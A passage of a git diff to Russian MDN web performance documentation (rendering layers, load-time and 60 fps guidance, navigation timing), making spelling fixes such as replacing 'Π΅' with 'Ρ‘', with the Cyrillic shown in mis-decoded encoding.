+<p>ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ элСмСнты Π² Π΄Π΅Ρ€Π΅Π²Π΅ Ρ€Π΅Π½Π΄Π΅Ρ€Π° Π½Π° слои. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒ ΠΈΡ… Ρ€Π΅Π½Π΄Π΅Ρ€, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ пСрСнСсти отрисовку Ρ€Π°Π·Π½Ρ‹Ρ… слоёв Π½Π° GPU (вмСсто основного ΠΏΠΎΡ‚ΠΎΠΊΠ° CPU). Для пСрСноса вычислСний отрисовки Π½Π° GPU Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ HTML Ρ‚Π΅Π³ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> ΠΈ <code><a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a></code>; Π° Ρ‚Π°ΠΊΠΆΠ΅ CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> ΠΈ <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Π£Π·Π»Ρ‹, созданныС Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π½Π° ΠΈΡ… собствСнном слоС, вмСстС с ΠΈΡ… ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ сами ΠΏΠΎ сСбС Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ вынСсСны Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ слои.</p>
<p>Π‘Π»ΠΎΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Но, с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния управлСния памяти, ΠΎΠ½ΠΈ нСэффСктивны. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π² Π½Π΅Ρ‚ нСобходимости.</p>
diff --git a/files/ru/web/performance/how_long_is_too_long/index.html b/files/ru/web/performance/how_long_is_too_long/index.html
index 37a17d18e9..e53c2f96a4 100644
--- a/files/ru/web/performance/how_long_is_too_long/index.html
+++ b/files/ru/web/performance/how_long_is_too_long/index.html
@@ -13,7 +13,7 @@ translation_of: Web/Performance/How_long_is_too_long
<h3 id="Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°">Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</h3>
-<p>ΠŸΠΎΠ½ΡΡ‚ΠΈΠ΅ "Π΄ΠΎ сСкунды" часто считаСтся ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Но Ρ‡Ρ‚ΠΎ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚? ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ сСкунды Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ максимального Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΉΠΌΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½. НапримСр, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы ΠΈΠ»ΠΈ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΅Ρ‘ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
+<p>ΠŸΠΎΠ½ΡΡ‚ΠΈΠ΅ "Π΄ΠΎ сСкунды" часто считаСтся ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Но Ρ‡Ρ‚ΠΎ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚? ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ сСкунды Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ максимального Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΉΠΌΡ‘Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½. НапримСр, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы ΠΈΠ»ΠΈ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΅Ρ‘ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
<p>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ рСсурс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ - это HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ Π΄Π΅Π»Π°Π΅Ρ‚ запрос Π½Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… рСсурсов. Как Π±Ρ‹Π»ΠΎ ΠΏΠΎΠ΄ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Π² <a href="/ru/docs/Web/Performance/Critical_rendering_path">ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ критичСском ΠΏΡƒΡ‚ΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°</a> - ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ½ сразу Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΈΡ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒΡΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСх рСсурсов.</p>
@@ -27,7 +27,7 @@ translation_of: Web/Performance/How_long_is_too_long
<h3 id="Анимация">Анимация</h3>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ выглядСли ΠΏΠ»Π°Π²Π½ΠΎ, ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ страницы Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒΡΡ с частотой 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду (60 fps), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΊΠ°Π΄Ρ€ Ρ€Π°Π· Π² 16.7мс. Π’ эти 16.7мс. Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ скриптов, ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° ΠΈ отрисовка. Π”Π΅Π»Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠ³Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ 6мс Π½Π° отрисовку ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π° Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ 10мс ΠΌΠΎΠ³Π»ΠΎ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠΌΠΈΡΡ вычислСниями. Π›ΡŽΠ±Π°Ρ другая частота ΠΊΠ°Π΄Ρ€ΠΎΠ², особСнно Ссли ΠΎΠ½Π° отрывистая ΠΈ нСпостоянная, создаСт Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅ Π·Π°Π²ΠΈΡΠ°ΡŽΡ‰Π΅Π³ΠΎ прилоТСния.</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ выглядСли ΠΏΠ»Π°Π²Π½ΠΎ, ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ страницы Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒΡΡ с частотой 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду (60 fps), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΊΠ°Π΄Ρ€ Ρ€Π°Π· Π² 16.7мс. Π’ эти 16.7мс. Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ скриптов, ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° ΠΈ отрисовка. Π”Π΅Π»Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠ³Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ 6мс Π½Π° отрисовку ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π° Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ 10мс ΠΌΠΎΠ³Π»ΠΎ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠΌΠΈΡΡ вычислСниями. Π›ΡŽΠ±Π°Ρ другая частота ΠΊΠ°Π΄Ρ€ΠΎΠ², особСнно Ссли ΠΎΠ½Π° отрывистая ΠΈ нСпостоянная, создаёт Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅ Π·Π°Π²ΠΈΡΠ°ΡŽΡ‰Π΅Π³ΠΎ прилоТСния.</p>
<h3 id="ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΡΡ‚ΡŒ">ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΡΡ‚ΡŒ</h3>
diff --git a/files/ru/web/performance/index.html b/files/ru/web/performance/index.html
index 82f34d4d7a..5eb18aa302 100644
--- a/files/ru/web/performance/index.html
+++ b/files/ru/web/performance/index.html
@@ -19,9 +19,9 @@ tags:
- Web Performance
translation_of: Web/Performance
---
-<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π² web - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ измСрСния ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ощущСния, связанныС с Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ ΠΈ Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ прилоТСния. ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ - это ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ сайт грузится, становится ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ ΠΈ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ, ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΠ»Π°Π²Π½ΠΎ происходит взаимодСйствиС с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ. ΠŸΠ»Π°Π²Π½Ρ‹ΠΉ Π»ΠΈ скролл страницы? ВсС Π»ΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΊΠ»ΠΈΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹? Π’ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΎΠΊΠ½Π° Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ быстро? А Π°Π½ΠΈΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ? Π₯ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΡƒΡ‡Π΅Ρ‚Π° всСх аспСктов: ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ…, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, фактичСскоС врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΈΠ»ΠΈ частота смСны ΠΊΠ°Π΄Ρ€ΠΎΠ²; Ρ‚Π°ΠΊ ΠΈ ΡΡƒΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… - Π² Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎΠΌ смыслС "ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ воспринимаСт систСму".</p>
+<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π² web - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ измСрСния ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ощущСния, связанныС с Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ ΠΈ Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ прилоТСния. ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ - это ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ сайт грузится, становится ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ ΠΈ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ, ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΠ»Π°Π²Π½ΠΎ происходит взаимодСйствиС с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ. ΠŸΠ»Π°Π²Π½Ρ‹ΠΉ Π»ΠΈ скролл страницы? ВсС Π»ΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΊΠ»ΠΈΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹? Π’ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΎΠΊΠ½Π° Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ быстро? А Π°Π½ΠΈΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ? Π₯ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΡƒΡ‡Ρ‘Ρ‚Π° всСх аспСктов: ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ…, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, фактичСскоС врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΈΠ»ΠΈ частота смСны ΠΊΠ°Π΄Ρ€ΠΎΠ²; Ρ‚Π°ΠΊ ΠΈ ΡΡƒΠ±ΡŠΠ΅ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… - Π² Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎΠΌ смыслС "ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ воспринимаСт систСму".</p>
-<p>Π§Π΅ΠΌ дольшС загруТаСтся вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ большС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Ρ€Π΅ΡˆΠ°ΡŽΡ‚ΡΡ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ Π½Π΅Π³ΠΎ. ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ прилоТСния, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ΠΎ становится ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ. Но Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя, Π²Π°ΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ врСмя ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π·Π° счСт Π½Π΅ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Ρ… хитростСй, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π° счСт асинхронной Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ понадобятся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ "здСсь ΠΈ сСйчас".Β </p>
+<p>Π§Π΅ΠΌ дольшС загруТаСтся вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ большС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Ρ€Π΅ΡˆΠ°ΡŽΡ‚ΡΡ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ Π½Π΅Π³ΠΎ. ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ прилоТСния, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ΠΎ становится ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ. Но Π² Ρ‚ΠΎ ΠΆΠ΅ врСмя, Π²Π°ΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ врСмя ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π·Π° счёт Π½Π΅ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Ρ… хитростСй, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π° счёт асинхронной Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ понадобятся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ "здСсь ΠΈ сСйчас".Β </p>
<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ инструмСнты измСрСния ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, API ΠΈ Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΌ ΠΈΠ·ΠΌΠ΅Ρ€ΡΡ‚ΡŒ ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. ΠœΡ‹ постараСмся Ρ€Π°ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΡ… Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции:</p>
diff --git a/files/ru/web/performance/navigation_and_resource_timings/index.html b/files/ru/web/performance/navigation_and_resource_timings/index.html
index 2fc612aca0..3dbae7164f 100644
--- a/files/ru/web/performance/navigation_and_resource_timings/index.html
+++ b/files/ru/web/performance/navigation_and_resource_timings/index.html
@@ -76,12 +76,12 @@ translation_of: Web/Performance/Navigation_and_resource_timings
<tr>
<td>{{domxref("PerformanceTiming.domainLookupEnd","domainLookupEnd")}}</td>
<td>
- <p>Поиск Π΄ΠΎΠΌΠ΅Π½Π° Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½. Если ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ постоянноС соСдинСниС, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅, сохранСнныС Π² локальном кэшС, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ показатСля Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ <code>PerformanceTiming.fetchStart</code>.</p>
